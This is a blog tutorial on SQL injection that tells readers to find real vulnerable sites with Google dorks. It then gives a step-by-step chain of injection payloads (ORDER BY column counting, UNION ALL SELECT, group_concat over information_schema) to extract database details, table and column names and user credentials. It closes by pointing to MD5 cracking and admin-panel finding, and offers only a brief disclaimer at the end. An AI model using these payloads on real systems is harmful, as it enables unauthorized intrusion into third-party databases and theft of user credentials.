Tutorial on SQL Injection

Author: Nagasahas Dasa

Information Security Enthusiast
You can reach me on [Link] or nagasahas@[Link]

Big time!!! Been long time since I posted my blog, this would be something interesting than usual one
which helps you to bring out the hacker inside you ;) SQL Injection which is commonly known as
SQLI! Here I would be demonstrating about SQLI which is the one of the top 10 vulnerabilities listed
in OWASP (Online Web Application Security Project) not just one of the top 10 vulnerabilities but
oldest and topmost from so many years.

This blog, no I can say tutorial! This tutorial gives you the idea to get into any database which has SQL
vulnerability. So let’s go ahead with basics.

What is SQL?
SQL (or Structured Query Language) is a special-purpose programming language designed for
managing data held in a relational database management system (RDBMS).

What is SQL Injection?

SQL injection is a code injection technique that exploits security vulnerability in an application's
software. The vulnerability happens when user input is either incorrectly filtered for string literal
escape characters embedded in SQL statements or user input is not strongly typed and unexpectedly
executed.
To start with this exploitation we can utilize Google in finding the sites which has possibility of having
the application vulnerable using Google Dorks.

What are Google Dorks?

Google dorks or Google Operators are the center of attraction for Google Hacking, which helps in
extracting required information from the Google. Many hackers use Google to find vulnerable
webpage’s and later use these vulnerabilities for hacking. You can get a list of Google Dorks here

Using Google Dorks:

But for now the only Google dorks we will be using for extracting required information are,

 inurl:[Link]?id=
 inurl:[Link]?id=
 inurl:prod_detail.php?id=

These will list all websites containing " prod_detail.php?id=in the URL. (Depending on Dork we are
using)

NOW, enter that into Google and start opening WebPages. Finding SQLI Vulnerabilities in websites is
very simple. You can simply use a single ' or a " at the end of the URL.

Example: [Link]
Example: [Link]

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If the website is vulnerable it will produce an error which is similar to the following:

Query failed: You have an error in your SQL syntax; check the manual that
corresponds to your MySQL server version for the right syntax to use near
'\'' at line 1

If you see this that means you have found a SQL Injection vulnerability in the website. For security
purpose let’s consider domain as “example” for this tutorial:

Exploiting the vulnerability

[Link]

This shows that the website is vulnerable to SQL injection.

Step 1: Finding how many columns the site has

To do this we use the Order by query to find how many columns it has.

[Link] order by 100--

We will most likely get an error saying,

Query failed: 1054 - Unknown column '100' in 'order clause'

Select products_model, products_name, products_short, products_image,
products_price, products_status, products_describe, categories_name,
manufacturers_name from products join manufacturers on (fi_manufacturers =
id_manufacturers) join categories on (fi_categories = id_categories) where
id_products = 837 order by 100--

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That means the number is too high so we will lower it.

[Link] order by 10--

If we get an error yet again, the number is still too high, try with lesser value. Let’s take 7

[Link] order by 7--

The page will most likely load successfully, if not, then the site may not be fully vulnerable to SQL
injection. If it loads successfully increase the number yet again. Once you get to the Max number
where it loads successfully, that is the amount of columns a site has. Here in this example it is 9.

[Link] order by 9--

Step 2: Finding the vulnerable columns.

To do this we use Union All Select. Like So,

[Link] union all select

1,2,3,4,5,6,7,8,9--

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With some sites that won't be enough to find the vulnerable columns, sometimes it needs the extra
push, so we need to force the error. Add a - behind the 837 like this prod_detail.php?id=-837

The URL should look like,

[Link] union all select

1,2,3,4,5,6,7,8,9--

Now it will show the vulnerable columns. The vulnerable columns will be numbers that weren't there
before; the page will also look a lot different. In this case Columns 1, 2,3,7,8 and 9 are vulnerable.

Step 3: Exploiting vulnerability

Now, here comes the hardest part as people think but it's not that hardest! Mind it; anything is
possible if you love it. Let’s just collect some info about the site. Such as Database Name, User Name,
and the Version. Remember the vulnerable columns from before? This is where we use them!

In your Union All Select statement replace the vulnerable column numbers with the three bits of info
you want. [Database(), User(), Version()].

[Link] union all select

version(),database(),user(),4,5,6,7,8,9--

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Where the 1,2,3 were on the page before (Or whatever vulnerable column number you used) The bits
of information will show on this website, the three pieces of information are,

Database(): web***2
User(): web***u @ localhost
Version(): 5.6.10-log

Great, our first bits of extracted data! We should get some more information. Now before we continue
on there are something’s that you'll need.

1. Firefox Browser
2. HackBar Plugin

Okay let’s continue, Next step is to list all the tables. We will now
use Group_Concat(table_name) and from information_schema.tables where
table_schema=database()--

Don't worry its simpler than it looks! URL looks like this,

[Link] union all select

1,2,3,4,5,6,group_concat(table_name),8,9 from information_schema.tables
where table_schema=database()--

Hey Look! Tables ;)

categories, config, contents, counter, manufacturers, news, orders,

orders_products, products, user

Well done you've successfully extracted the table names. But wait, there's more! Sadly there is no
admin table, but sometimes there is. So let’s go with exploring user table.

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Have you installed that Firefox plug-in yet? Because you are going to use it now.

Next thing you need to do is

replace Group_Concat(Table_Name) with group_concat(Column_name). If you have
HackBar installed press F9, click SQL drop down button go to MySQL then click MySQL CHAR() and
Enter the table name.

In this case, user and replace from information_schema.tables where

table_schema=database()-- with from information_schema.columns where
table_name=MYSQLCHAR. The Char will be the code you receive from HackBar in this
case user can be encoded as CHAR (117, 115, 101, 114)

The Final URL will look like this:

[Link] union all select

1,2,3,4,5,6,group_concat(column_name),8,9 from information_schema.columns
where table_name=CHAR(117, 115, 101, 114)--

Okay, cool, we have the column names now.

id_user,user_name,user_pw,user_email

Now our next task is to get the data from these columns. To do this
replace group_concat(column_name) with group_concat(Column_name_2,0x3a,Colum
n_name_3) Where Column_name_2 and Column_name_3 are the column names you want to
extract data from, such as user_name and user_pw.

Now change from information_schema.columns where table_name=CHAR to from user

if you want to extract data from a different table name change user to the table name you want to
extract data from.

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The URL looks like this,

[Link] union all select

1,2,3,4,5,6,group_concat(user_name,0x3a,user_pw),8,9 from user—

We've now extracted data! Good Job.

Now we got user table which also contains the admin credentials and we found Username and
Password of user you will find MD5 hashed passwords usually. Too decrypt these go to
[Link] it's a great site!

You also need to find the admin control panel, try simple URL's like /admin or /login etc. look on
Google for an admin page finder tools. Hope this helps you!

This blog is purely for educational purposes only. Information posted is not intended to harm anyone
or any organization.

Document is copyrighted by Nagasahas Dasa ([Link])